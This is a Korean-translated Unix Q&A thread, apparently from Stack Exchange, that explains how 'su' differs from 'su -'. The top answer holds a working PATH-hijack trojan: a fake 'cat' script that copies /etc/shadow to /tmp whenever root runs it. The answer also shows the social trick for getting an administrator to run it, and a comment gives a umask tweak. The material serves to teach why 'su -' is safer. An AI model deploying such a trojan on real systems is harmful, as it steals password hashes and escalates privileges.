su가 아닌 su를 사용하는 이유는 무엇입니까?


답변:


240

su -사용자 전환 후 로그인 쉘을 호출합니다. 로그인 쉘은 대부분의 환경 변수를 재설정하여 깨끗한 기반을 제공합니다.

su 사용자를 전환하여 이전 사용자와 거의 동일한 환경의 일반 셸을 제공합니다.

컴퓨터에 대한 일반 사용자 액세스 권한을 가진 소프트웨어 개발자이고 무지한 관리자가 루트 액세스 권한을 부여하지 않는다고 상상해보십시오. (희망스럽게) 그를 속이자.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

이제 관리자에게 cat홈 폴더의 더미 파일 을 사용할 수없는 이유를 물어보십시오 . 작동하지 않습니다!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

관리자가 똑똑하지 않거나 약간 게으른 경우 책상에 와서 슈퍼 유저 권한으로 시험해 볼 수 있습니다.

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

와! 감사합니다, 최고 ​​관리자!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

그는.

손상된 $PATH변수가 재설정되지 않았 음을 알 수 있습니다. 관리자가 su -대신 호출하면 이런 일이 발생하지 않았을 것입니다.


10
su --와 동일합니다 su.
Mikel

12
-는 대부분의 프로그램이 "이후에는 플래그로 간주해서는 안된다"로 해석하는 플래그입니다. 대시로 시작하는 것을 그 리핑하는 데 유용합니다.
David Mackintosh

2
umask000 을 설정하는 것이 좋습니다. 그렇지 않으면 작동하지 않습니다.
Lekensteyn

10
suPATH 안에 파일을 넣을 수도 있습니다. 현실의 행동을 모방하는 것은 그리 어렵지 않습니다 su. 슈퍼 사용자는 어쨌든 :-) 부주의있다
스테판 히메네스

10
su --다음과 동일하지 않음 su -: --getopt (s) (또는 유사한) 옵션 핸들러에게 추가 옵션에 대한 명령 행 처리를 중지하도록 지시합니다 (예를 들어, 나머지에 '-'로 시작할 수있는 파일 이름이 포함 된 경우 유용). 즉,에서 "RM -i - -f"-f는 다음과 같이, 그래서 여기에 정기적 인수로 처리됩니다 파일의 이름 으로 rm -i, 그리고 하지 additionnal로 -f받는 옵션을 rm명령. 그래서 su --그냥 su하지 su -! 따라서 su --wag의 (재미 있고 유익한) 예제 givan에게는 안전하지 않습니다. 사용하십시오 su -.
Olivier Dulac

35

su -루트로 완전히 로그인하는 반면 루트 su로 가장합니다.

가장 확실한 예는 ~을 사용하는 경우 루트의 홈 디렉토리이고을 사용하는 경우 su -자신의 홈 디렉토리 su입니다.

시스템에 따라 프롬프트 PATH, 또는 히스토리 파일의 차이를 의미 할 수도 있습니다 .

따라서 시스템을 관리하는 팀의 일원이고 동료가 실행할 명령을 제공하는 경우 su -, 둘 다 사용하는 경우에도 동일하게 작동한다는 것을 알고 있지만 둘 다 사용하는 경우 su차이가있을 수 있습니다. 다른 쉘 구성.

반면에 루트로 명령을 실행하고 자체 구성을 사용하려는 경우 su더 좋습니다.

또한 루트로 실행되는 쉘을 시작하는 옵션 sudo이있는 에 대해 잊지 마십시오 -s. 물론 여기에는 다른 규칙이 있으며 사용중인 배포판에 따라 변경됩니다.


1
"su"를하면 ~와 $ HOME이 모두 / root로 평가됩니다. 설명하는 동작이 특정 쉘 또는 OS 버전 또는 특정 기능과 관련이 있습니까? ~는 커널에 의해 확장 될 수 있다는 것을 이해합니다. 나는 zsh를 나의 (그리고 루트) 쉘로 가지고있다.
JasonWoof

귀하 .bashrc또는 /etc/bashrc또는 /etc/profile.d스크립트를 설정하는 PATH. if [ $UID -eq 0 ]그와 비슷한 것을 찾으십시오 .
Mikel

$USER예를 들어 변경되지 않은 상태로 유지됩니다.
peterph

1
무엇에 대해 sudo su?
Simon Kuang

1
당신의 모범은 저에게 효과적이지 않습니다. 두 가지 방법으로 동일한 디렉토리가 해결됩니다.
Daniel W.

1

나는 일반 사용자로 디렉토리에 있지만 루트로 전환하고 스위치 후에 동일한 디렉토리에 남아 있고 싶을 때 su를 사용합니다. su를 사용하면 사용자를 루트로 전환하고 루트 홈 디렉토리 인 / root로 이동합니다.


또는 /루트의 홈 디렉토리로 정의 된 모든 것
Jeff Schaller

-1

주요 차이점은 다음과 같습니다.

su - username 쉘 사용자가 지정된 사용자로서 클린 로그인 인 것처럼 쉘 환경을 설정하고 지정된 사용자 환경 변수에 액세스하여 사용합니다.

su username 지정된 사용자에 대한 현재 환경 설정으로 쉘을 시작합니다.

su및로 username을 지정하지 않으면 su -루트 계정이 기본값으로 암시됩니다.

당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.